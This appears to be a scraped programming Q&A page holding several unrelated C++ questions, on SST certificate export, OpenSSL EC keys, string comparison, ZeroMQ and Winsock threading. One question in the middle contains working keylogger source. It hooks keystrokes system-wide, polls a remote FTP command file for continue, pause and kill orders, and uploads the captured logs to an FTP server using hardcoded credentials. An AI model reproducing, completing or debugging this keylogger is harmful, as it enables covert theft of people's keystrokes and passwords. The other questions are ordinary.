I have SST files form Microsoft which I need to add to a java truststore.
The problem is all tools that Microsoft provides, add the certs from SST files to windows stores, so difficult to get PEM files form the SST files. If I run certmgr.exe (not certmgr.msc), I can get public key and all that but no cert (in pem or der), I saw bunch of VB scripts and powershell to load them using SST file into System.Security.Cryptography.X509Certificates.X509Certificate2Collection object, but still can't find a way to output as PEM (or der ) formated certificates.
Any suggestions?
S
You could use CAPI to open the SST file as a certificate store then enumerate over the certificates in the file. The following code does this and outputs the certificates in DER form to a file using a SHA1 hash of the certificate as a filename. The first argument is the output folder. The remaining one or more arguments are your SST files.
#include <stdio.h>
#include <tchar.h>
#include "windows.h"
#include "wincrypt.h"
#include "atlbase.h"
#include <iostream>
#include <sstream>
#include <iomanip>
#include <algorithm>
std::string GetHexRepresentation(const unsigned char * Bytes, size_t Length)
{
std::ostringstream os;
os.fill('0');
os<<std::hex;
for(const unsigned char * ptr=Bytes;ptr<Bytes+Length;ptr++)
os<<std::setw(2)<<(unsigned int)*ptr;
std::string retval = os.str();
std::transform(retval.begin(), retval.end(),retval.begin(), ::toupper);
return retval;
}
BOOL WriteToFileWithHashAsFilename(PCCERT_CONTEXT pPrevCertContext, TCHAR* outputDir)
{
#undef RETURN
#define RETURN(rv) \
{ \
if( hHash ) CryptDestroyHash(hHash); \
if( hProv ) CryptReleaseContext(hProv, 0); \
return rv; \
}
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
BYTE byteFinalHash[20];
DWORD dwFinalHashSize = 20;
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
{
std::cout << "CryptAcquireContext failed: " << GetLastError() << std::endl;
RETURN(FALSE);
}
if (!CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash))
{
std::cout << "CryptCreateHash failed: " << GetLastError() << std::endl;
RETURN(FALSE);
}
if (!CryptHashData(hHash, pPrevCertContext->pbCertEncoded, pPrevCertContext->cbCertEncoded, 0))
{
std::cout << "CryptHashData failed: " << GetLastError() << std::endl;
RETURN(FALSE);
}
if (!CryptGetHashParam(hHash, HP_HASHVAL, byteFinalHash, &dwFinalHashSize, 0))
{
std::cout << "CryptGetHashParam failed: " << GetLastError() << std::endl;
RETURN(FALSE);
}
std::string strHash = GetHexRepresentation(byteFinalHash, dwFinalHashSize);
std::wostringstream filename;
filename << outputDir << strHash.c_str() << ".der" <<std::ends;
FILE* f = _wfopen(filename.str().c_str(), L"wb+");
if(!f)
{
std::wcout << "Failed to open file for writing: " << filename.str().c_str() << std::endl;
RETURN(FALSE);
}
int bytesWritten = fwrite(pPrevCertContext->pbCertEncoded, 1, pPrevCertContext->cbCertEncoded, f);
fclose(f);
if(bytesWritten != pPrevCertContext->cbCertEncoded)
{
std::cout << "Failed to write file" << std::endl;
RETURN(FALSE);
}
RETURN(TRUE);
}
//usage: DumpCertsFromSst <output directory> <SST file 1> ... <SST file n>
int _tmain(int argc, _TCHAR* argv[])
{
SECURITY_ATTRIBUTES sa;
memset(&sa, 0, sizeof(SECURITY_ATTRIBUTES));
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = FALSE;
if(argc < 3)
{
std::cout << "At least two arguments must be provided: outputDirectory sstFile1 ... sstFileN etc" << std::endl;
return 0;
}
TCHAR* outputDir = argv[1];
for(int ii = 2; ii < argc; ++ii)
{
HANDLE hFile = NULL;
HCERTSTORE hFileStore = NULL;
LPCWSTR pszFileName = argv[ii];
//Open file
hFile = CreateFile(pszFileName, GENERIC_READ, 0, &sa, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(INVALID_HANDLE_VALUE == hFile)
{
std::wcout << "Failed to open file: " << pszFileName << std::endl;
continue;
}
else
{
std::wcout << "Processing file: " << pszFileName << std::endl;
}
//open certificate store
hFileStore = CertOpenStore(CERT_STORE_PROV_FILE, 0, NULL, CERT_STORE_READONLY_FLAG, hFile);
if(NULL == hFileStore)
{
CloseHandle(hFile);
continue;
}
int count = 0;
PCCERT_CONTEXT pPrevCertContext = NULL;
pPrevCertContext = CertEnumCertificatesInStore(hFileStore, pPrevCertContext);
while(NULL != pPrevCertContext)
{
if(WriteToFileWithHashAsFilename(pPrevCertContext, outputDir))
++count;
pPrevCertContext = CertEnumCertificatesInStore(hFileStore, pPrevCertContext);
}
std::wcout << "Wrote " << count << " certificates" << std::endl;
CloseHandle(hFile);
CertCloseStore(hFileStore, 0);
}
return 1;
}
Related
I start using openssl.
I want to use a public key to check a signature. But for now, I can not read my public key with openssl.
Here is my source code:
#include <iostream>
#include <openssl/ec.h>
#include <openssl/evp.h>
#include <openssl/err.h>
bool verifyPublicKey(const std::string &sRawPublicKey);
void printAllError();
int main(int argc, char* argv[])
{
if (argc < 2) {
std::cerr << "Usage: " << argv[0] << " PUBLIC KEY" << std::endl;
return EXIT_FAILURE;
}
std::string sPublicKey = argv[1];
std::cout << "Key: " << sPublicKey << std::endl;
bool bRes = verifyPublicKey(sPublicKey);
if (!bRes)
{
std::cerr << "verifyPublicKey failled" << std::endl;
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
bool verifyPublicKey(const std::string &sRawPublicKey)
{
bool bRes = false;
EC_KEY *eckey = EC_KEY_new_by_curve_name(NID_X9_62_prime256v1);
EC_KEY_set_conv_form(eckey, POINT_CONVERSION_UNCOMPRESSED);
unsigned char *p_RawPublicKey = new unsigned char[sRawPublicKey.length() + 1];
std::copy(sRawPublicKey.begin(), sRawPublicKey.end(), p_RawPublicKey);
const unsigned char *pubkey_raw_p = p_RawPublicKey;
o2i_ECPublicKey(&eckey, &pubkey_raw_p, sRawPublicKey.size());
if (!EC_KEY_check_key(eckey))
{
EC_KEY_free(eckey);
bRes = false;
printAllError();
}
else
{
EC_KEY_free(eckey);
bRes = true;
}
return bRes;
}
void printAllError()
{
while (ERR_peek_last_error() != 0)
{
std::cerr << ERR_error_string(ERR_get_error(), nullptr) << std::endl;
}
}
I run it with the following public key:
3059301306072A8648CE3D020106082A8648CE3D03010703420004E297417036EB4C6404CC9C2AC4F28468DD0A92F2C9496D187D2BCA784DB49AB540B9FD9ACE0BA49C8532825954755EC10246A71AF2AEE9AEC34BE683CDDFD212
ASN.1 Decoder:
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.10045.2.1 (ecPublicKey)
OBJECTIDENTIFIER 1.2.840.10045.3.1.7 (P-256)
}
BITSTRING 0x04E297417036EB4C6404CC9C2AC4F28468DD0A92F2C9496D187D2BCA784DB49AB540B9FD9ACE0BA49C8532825954755EC10246A71AF2AEE9AEC34BE683CDDFD212
: 0 unused bit(s)
}
With the ASN.1, I notice that the key I use is in the correct format: 0x04 || HEX(x) || HEX(y) with z = 0x04.
The output of the program is as follows:
Key: 3059301306072A8648CE3D020106082A8648CE3D03010703420004E297417036EB4C6404CC9C2AC4F28468DD0A92F2C9496D187D2BCA784DB49AB540B9FD9ACE0BA49C8532825954755EC10246A71AF2AEE9AEC34BE683CDDFD212
error:10067066:elliptic curve routines:ec_GFp_simple_oct2point:invalid encoding
error:10098010:elliptic curve routines:o2i_ECPublicKey:EC lib
error:1010206A:elliptic curve routines:ec_key_simple_check_key:point at infinity verifyPublicKey failed
I'm lost. Do you have explanations?
Moreover, is it possible to go further by giving only x and y (without ASN.1 header).
Thank you
Looks like you should feed the raw point to function o2i_ECPublicKey(), without the ASN.1 framing.
I am trying to go threw a vector of Student objects. If I find a matching ID to the one I am searching for it will display their info.
However, when I try to find a specific ID .compare isn't seeing a match even though it should.
My output: first line is the ID I am looking for, second is the current ID being looked at, then is the result of the compare.
a11111111
a22222222
-1
no match
a11111111
a11111111
-1
no match
Asked for more of the code so here is the entire program: (issue in displayID)
header file
#ifndef structures_h
#define structures_h
#include <vector>
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
#include <fstream>
#include <sstream>
#include <string>
#include <algorithm>
#include <stdio.h>
#include <map>
using namespace std;
main program
#endif
typedef pair<string, string> Name; // first name, last name
typedef map<string, int> Grades; // map courses to scores
#include "struct.h"
class Student {
public:
void display(ostream& os) const;
void setId(string);
void setName(string, string);
void setGrades(string, int);
string getId();
string getName();
void getGrades();
bool operator<(const Student &rhs) const { return id_ < rhs.id_; }
private:
string id_; // e.g. "a22222222"
Name name_; // e.g. {"ned", "flanders"}
Grades grades_;
};
void Student::setId(string id) {
id_ = id;
}
string Student::getId() {
return id_;
}
void Student::setName(string first, string last) {
name_ = pair<string,string>(first, last);
}
string Student::getName() {
return get<0>(name_) + ' ' + get<1>(name_);
}
void Student::setGrades(string course, int score) {
grades_.insert(make_pair(course, score));
}
void Student::getGrades() {
for(auto it = grades_.begin(); it != grades_.end(); ++it) {
cout << it -> first << ' ' << it -> second << endl;
}
}
vector<Student> addStudent(int count, int x, vector<Student>& vStu, string file) {
string line, first, last;
ifstream infile(file);
while (getline(infile, line)) {
vStu.push_back(Student());
vStu[count].setId(line);
getline(infile, line);
istringstream iss(line);
if (!(iss >> first >> last)) {
cout << "failed to get name" << endl;
break;
}
vStu[count].setName(first, last);
getline(infile, line);
istringstream iss2(line);
if (!(iss2 >> x)) {
cout << "failed to get class number" << endl;
break;
}
for (int i = 0; i < x; i++) {
string sClass;
int grade;
getline(infile, line);
istringstream iss3(line);
if (!(iss3 >> sClass >> grade)) {
cout << "failed to get class and grade" << endl;
break;
}
vStu[count].setGrades(sClass, grade);
}
count++;
}
return vStu;
}
void display(vector<Student>& vStu) {
sort(vStu.begin(), vStu.end());
cout << endl;
int count = vStu.size();
for (int i = 0; i<count;i++) {
cout << vStu[i].getId() << endl;
cout << vStu[i].getName() << endl;
vStu[i].getGrades();
cout << endl;
}
}
void displayID(vector<Student>& vStu, string ID) {
int count = vStu.size();
string test;
ID = "a11111111";
for (int i = 0; i<count;i++) {
cout<< endl;
test = vStu[i].getId();
cout << ID << endl;
cout << test << endl;
cout << ID.compare(test) << endl;
if (ID.compare(test) == 0) {
cout << "match" << endl;
cout << vStu[i].getId() << endl;
cout << vStu[i].getName() << endl;
vStu[i].getGrades();
cout << endl;
} else {
cout << "no match" << endl;
}
}
cout << endl;
}
void mainMenu(vector<Student>& vStu) {
string input;
string word;
vector<string> com;
while(1) {
cout << "Enter command: ";
getline(cin,input);
istringstream iss(input);
while(iss >> word) {
com.push_back(word);
}
for (int i = 0; i < (int)com.size(); i++) {
transform(com[i].begin(), com[i].end(), com[i].begin(), ::tolower);
if (com[i] == "show") {
display(vStu);
} else if (com[i] == "showid") {
displayID(vStu, "a11111111");
}
}
com.clear();
}
}
int main(int argc, char *argv[]) {
vector<Student> vStu;
int count = 0, x = 0;
if (argc != 2) {
cout << "Incorrectly called" << endl;
cout << " " << argv[0] << ' ' << "<filename>" << endl;
return 1;
}
addStudent(count, x, vStu, argv[1]);
mainMenu(vStu);
}
The only possibility I see is that there is some whitespace at the end of the string that gets passed into your function. Try trimming the end of the string's like this this thread suggests before comparing and see if they still don't compare correctly.
I am trying to write a file to a drivehq.com server. The file does not exist on local disk, nor on the ftp server, so does FtpOpenFile Create a file for me automatically?
I am getting error 12003 and I don't know what to do..
The Error Happens in case continue:
#include <iostream>
#include <windows.h>
#include <process.h>
#include <string>
#include <Wininet.h>
#include <vector>
#include <map>
#include <ctime>
using std::string;
using std::cout;
using std::cin;
using std::vector;
using std::map;
unsigned int __stdcall keylogthreadhook(void *);
LRESULT CALLBACK LowLevelKeyboardProc(int, WPARAM, LPARAM);
string gettime();
enum COMMAND{CONTINUE, PAUSE, KILL};
map<string, COMMAND> cmds;
DWORD err;
char error[4096];
string tempkeylog_buffer;
char ftpreadbuffer[1024]{};
vector<string> filetokens;
unsigned int threadid = 0;
DWORD numberread = 0, numberwritten = 0;
bool killswitch = true;
int main(){
cmds["CONTINUE"] = CONTINUE;
cmds["PAUSE"] = PAUSE;
cmds["KILL"] = KILL;
_beginthreadex(NULL, 0, &keylogthreadhook, NULL, 0, &threadid);
while(killswitch){
HINTERNET connection = InternetOpen("Keyclient", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL,0);
cout << GetLastError();
HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);
cout << GetLastError();
HINTERNET filehandle = FtpOpenFile(ftpinstance, "command.txt", GENERIC_READ, FTP_TRANSFER_TYPE_ASCII, NULL);
//cout << GetLastError();
InternetReadFile(filehandle, ftpreadbuffer, 1024, &numberread);
//InternetWriteFile(filehandle, tempkeylog_buffer.c_str(), tempkeylog_buffer.size(), &numberwritten);
cout << GetLastError();
InternetCloseHandle(filehandle);
//InternetCloseHandle(ftpinstance);
//cout << ftpreadbuffer;
//cout << "\n" << numberread;
string temporarystr;
cout << ftpreadbuffer;
//cout <<reinterpret_cast<char *>(ftpreadbuffer);
for(int i = 0; ftpreadbuffer[i] != '.'; i++){
//cout << ftpreadbuffer[i];
if(ftpreadbuffer[i] == '\n'){
filetokens.push_back(temporarystr);
temporarystr.clear();
}
temporarystr.push_back(ftpreadbuffer[i]);
}
cout << filetokens[0].c_str() << filetokens[1].c_str();
cin.get();
map<string, COMMAND>::iterator i = cmds.find(filetokens[0].c_str());
switch(i->second){
case CONTINUE:{
// HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);
//cout << GetLastError() << "\n";
string time = gettime();
time.append(".txt");
cout << time;
HINTERNET newftplog = FtpOpenFile(ftpinstance, time.c_str(),GENERIC_WRITE, FTP_TRANSFER_TYPE_ASCII, 0);
cout << GetLastError() << "\n";
InternetWriteFile(newftplog, tempkeylog_buffer.c_str(), tempkeylog_buffer.size(), &numberwritten);
cout << GetLastError() << "\n";
InternetCloseHandle(newftplog);
InternetCloseHandle(ftpinstance);
cout << GetLastError() << "\n";
tempkeylog_buffer.clear();
cin.get();
Sleep(atoi(filetokens[1].c_str()));
//Upload ftp log to ftp server and sleep x seconds.
}break;
case PAUSE:{
Sleep(atoi(filetokens[1].c_str()));
//Pause the hooking thread, flip a switch so if pause remains the same we dont kill a non existant thread, and keep looping
}break;
case KILL:{
//return 0 or killswitch = false;
}break;
}
}
return 0;
}
unsigned int __stdcall keylogthreadhook(void *){
HINSTANCE hinst = GetModuleHandle(NULL);
HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hinst, 0);
MSG msg;
//MessageBox(NULL, "entered", NULL, NULL);
while(GetMessage(&msg, NULL, 0, 0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hhkLowLevelKybd);
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
PKBDLLHOOKSTRUCT structdll = (PKBDLLHOOKSTRUCT) lParam;
switch(nCode){
case HC_ACTION:
switch(wParam){
case WM_KEYDOWN:{
//How should i change the following lines?
char buffer[256]{};
GetKeyNameText((MapVirtualKey(structdll->vkCode, 0)<<16), buffer, 50);
//use this?: ToAscii(structdll->vkCode, structdll->scanCode, NULL, myword, 0);
tempkeylog_buffer.append(buffer);
}
break;
}
break;
}
return CallNextHookEx(NULL, nCode, wParam,lParam);
}
string gettime(){
time_t rawtime;
time ( &rawtime );
string s = ctime(&rawtime);
//cut off \n at the end of string (why the fuck do they even do that?)
s = s.substr(0, s.size()-1);
return s;
}
This is first post in the forum and need help.
I have implemented the ZeroMQ server part much same as documented here
https://github.com/egalli64/thisthread/blob/master/zmq/d2r.cpp.
Below is my code
#include <string>
#include <boost/thread.hpp>
#include <boost/lexical_cast.hpp>
#include <boost/random.hpp>
#include "zmq2.h"
#include <pthread.h>
#include <unistd.h>
#include <cassert>
#include <string>
#include <iostream>
#include <zmq.hpp>
boost::mutex mio;
void *worker(void *arg)
{
std::cout << "in worker" << std::endl;
zmq::context_t *context = (zmq::context_t *) arg;
zmq::Socket skWorker(*context, ZMQ_DEALER);
std::cout << "in worker2" << std::endl;
skWorker.connect("inproc://backend");
std::cout<< "Worker started" << std::endl;
while(true)
{
std::cout << "in while" << std::endl;
zmq::Frames frames = skWorker.blockingRecv(2, false);
if(frames.size() == 1)
{
std::cout << "in if" << std::endl;
break;
}
// send a few replies
for(int i =0; i < 10; ++i)
{
boost::this_thread::sleep(boost::posix_time::millisec(100 * 10));
std::cout << "worker reply" << std::endl;
skWorker.send(frames);
}
}
std::cout << "terminating worker" << std::endl;
return (NULL);
}
void dumpId(const char* tag, const std::string& msg)
{
boost::lock_guard<boost::mutex> lock(mio);
std::string id = boost::lexical_cast<std::string>(boost::this_thread::get_id());
std::cout << id << ' ' << tag << ' ' << msg << std::endl;
}
int main()
{
zmq::context_t context(1);
zmq::Socket client(context, ZMQ_ROUTER);
client.bind("tcp://*:5555");
zmq::Socket workers(context, ZMQ_DEALER);
workers.bind("inproc://workers");
for (int thread_nbr = 0; thread_nbr != 2; thread_nbr++)
{
pthread_t threads;
pthread_create(&threads, NULL, worker, (void *) &context);
}
std::cout << " server started" << std::endl;
zmq_pollitem_t items [] =
{
{ client, 0, ZMQ_POLLIN, 0 },
{ workers, 0, ZMQ_POLLIN, 0 }
};
while(true)
{
if(zmq_poll(items, 2, 3000 * 1000) < 1) // 3 secs
break;
if(items[0].revents & ZMQ_POLLIN)
{
zmq::Frames frames = client.blockingRecv(2);
dumpId("Received on frontend", frames[0]);
workers.send(frames);
items[0].revents = 0; // cleanup
}
if(items[1].revents & ZMQ_POLLIN)
{
zmq::Frames frames = workers.blockingRecv(2);
dumpId("Received on backend", frames[0]);
client.send(frames);
items[1].revents = 0; // cleanup
}
}
std::cout <<"Nothing happened for a while" << std::endl;
// send a terminator to each worker
for(int i = 0; i < 2; ++i)
workers.send("");
std::cout << "Server shutdown" << std::endl;
}
After running the its getting core dumped.
Below is the output
in workerin worker server started
in worker2
in worker2
terminate called after throwing an instance of 'zmq::error_t'
terminate called recursively
Aborted (core dumped)
Could some one let me know where I m doing wrong.......
Thanks in advance....
So I'm building a multithreaded socket library in windows and I'm getting the WSA Not Started error when I call recv, even though I successfully get a client to connect to the server. I also had it working before I threaded it, but I don't know what happened since then. Any help would be appreciated.
Spocket.hpp
#include <iostream>
#include <string>
#include <Windows.h>
#pragma comment (lib,"ws2_32.lib")
static bool initialized_ = false;
class Spocket
{
protected:
WSADATA wsaData_;
SOCKET hSocket_;
sockaddr_in service_;
std::string addr_;
USHORT port_;
int exitCode_;
public:
Spocket() {
initialize();
create_socket();
}
Spocket(std::string addr, USHORT port)
: addr_( addr ), port_( port ) {
initialize();
create_socket();
}
Spocket(Spocket spock, SOCKET sock)
: hSocket_( sock ),
wsaData_( spock.wsaData_ ),
service_( spock.service_ ),
addr_( spock.addr_ ),
port_( spock.port_ )
{
initialize();
}
virtual ~Spocket() { close(); }
void initialize();
void create_socket();
void close();
template<typename T>
int recv_data(T* i) {
int ret = recv( hSocket_, reinterpret_cast<char*>(i), 32, 0 );
if( ret == SOCKET_ERROR )
cerr << WSAGetLastError() << endl;
return ret;
}
template<typename T>
int send_data(T* i) {
int ret = send( hSocket_, reinterpret_cast<char*>(i), sizeof(i), 0 );
if( ret == SOCKET_ERROR )
cerr << WSAGetLastError() << endl;
return ret;
}
};
class ServerSpocket : public Spocket
{
public:
ServerSpocket(std::string addr, USHORT port);
Spocket* accept_clients();
};
class ClientSpocket : public Spocket
{
public:
ClientSpocket(std::string addr, USHORT port);
};
Spocket.cpp
#include <iostream>
using namespace std;
#include "../include/spocket.hpp"
void Spocket::initialize() {
if(!initialized_)
{
cout << "Initializing socket..." << endl;
exitCode_ = EXIT_SUCCESS;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData_ );
if( iResult != NO_ERROR ) {
cerr << "WSAStartup failed" << endl;
exitCode_ = EXIT_FAILURE;
close();
}
initialized_ = true;
}
}
void Spocket::create_socket() {
hSocket_ = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if( hSocket_ == INVALID_SOCKET )
{
cerr << "Error at socket(): " << WSAGetLastError() << endl;
exitCode_ = EXIT_FAILURE;
close();
}
service_.sin_family = AF_INET;
service_.sin_addr.s_addr = inet_addr(addr_.c_str());
service_.sin_port = htons(port_);
}
void Spocket::close() {
closesocket( hSocket_ );
WSACleanup();
}
ServerSpocket::ServerSpocket(std::string addr, USHORT port) : Spocket(addr, port) {
if( bind( hSocket_, (SOCKADDR*)&service_, sizeof(service_) ) == SOCKET_ERROR )
{
cerr << "Failed to bind" << endl;
exitCode_ = EXIT_FAILURE;
close();
}
if( listen( hSocket_, 1 ) == SOCKET_ERROR )
{
cerr << "Error listening on socket" << endl;
exitCode_ = EXIT_FAILURE;
close();
}
}
Spocket* ServerSpocket::accept_clients() {
cout << "Waiting for connection...\n";
SOCKET hAccepted = INVALID_SOCKET;
while( hAccepted == INVALID_SOCKET )
hAccepted = accept( hSocket_, NULL, NULL );
return new Spocket( *this, hAccepted );
}
ClientSpocket::ClientSpocket(std::string addr, USHORT port) : Spocket(addr, port) {
if( connect( hSocket_, (SOCKADDR*)&service_, sizeof(service_) ) == SOCKET_ERROR )
{
cerr << "Failed to connect" << endl;
exitCode_ = EXIT_FAILURE;
close();
}
}
Server_main.cpp
#include <iostream>
#include <fstream>
#include <vector>
#include <spocket.hpp>
using namespace std;
vector<HANDLE> hThreads;
vector<DWORD> dwThreadIds;
struct ConnectionInfo
{
string ip;
unsigned int port;
ConnectionInfo( string ip_, unsigned int port_ ) : ip(ip_), port(port_){}
};
static ConnectionInfo ci( "127.0.0.1", 27015 );
DWORD WINAPI clientSession( LPVOID lpParam )
{
// create new socket to listen for connection attempts
ConnectionInfo arg = *reinterpret_cast<ConnectionInfo*>(lpParam);
ServerSpocket listenSock( arg.ip, arg.port );
// spawn a duplicate thread when a connection is made, and close the current listening socket
Spocket* sessionSock = listenSock.accept_clients();
listenSock.close();
cout << "client connected..." << endl;
/*
hThreads.push_back( CreateThread( NULL, 0, clientSession, &ci, 0, NULL ) );
*/
// service the connected client
string msg;
while( sessionSock->recv_data(&msg) != SOCKET_ERROR && msg != "goodbye!" )
{
cout << msg << endl;
msg.clear();
}
cout << "finished with client..." << endl;
// wait quietly for server shutdown
while( true )
Sleep( 200 );
return 0;
}
int main() {
cout << "[Server]" << endl;
cout << "starting up..." << endl;
hThreads.push_back( CreateThread( NULL, 0, clientSession, &ci, 0, NULL ) );
string input = "";
do
cin >> input;
while( input != "exit" );
// close all thread handles here
cout << "shutting down..." << endl;
return 0;
}
I beleive you must keep the "original" socket alive. Move listenSock.close(); after the sessionSock->recv_data() loop.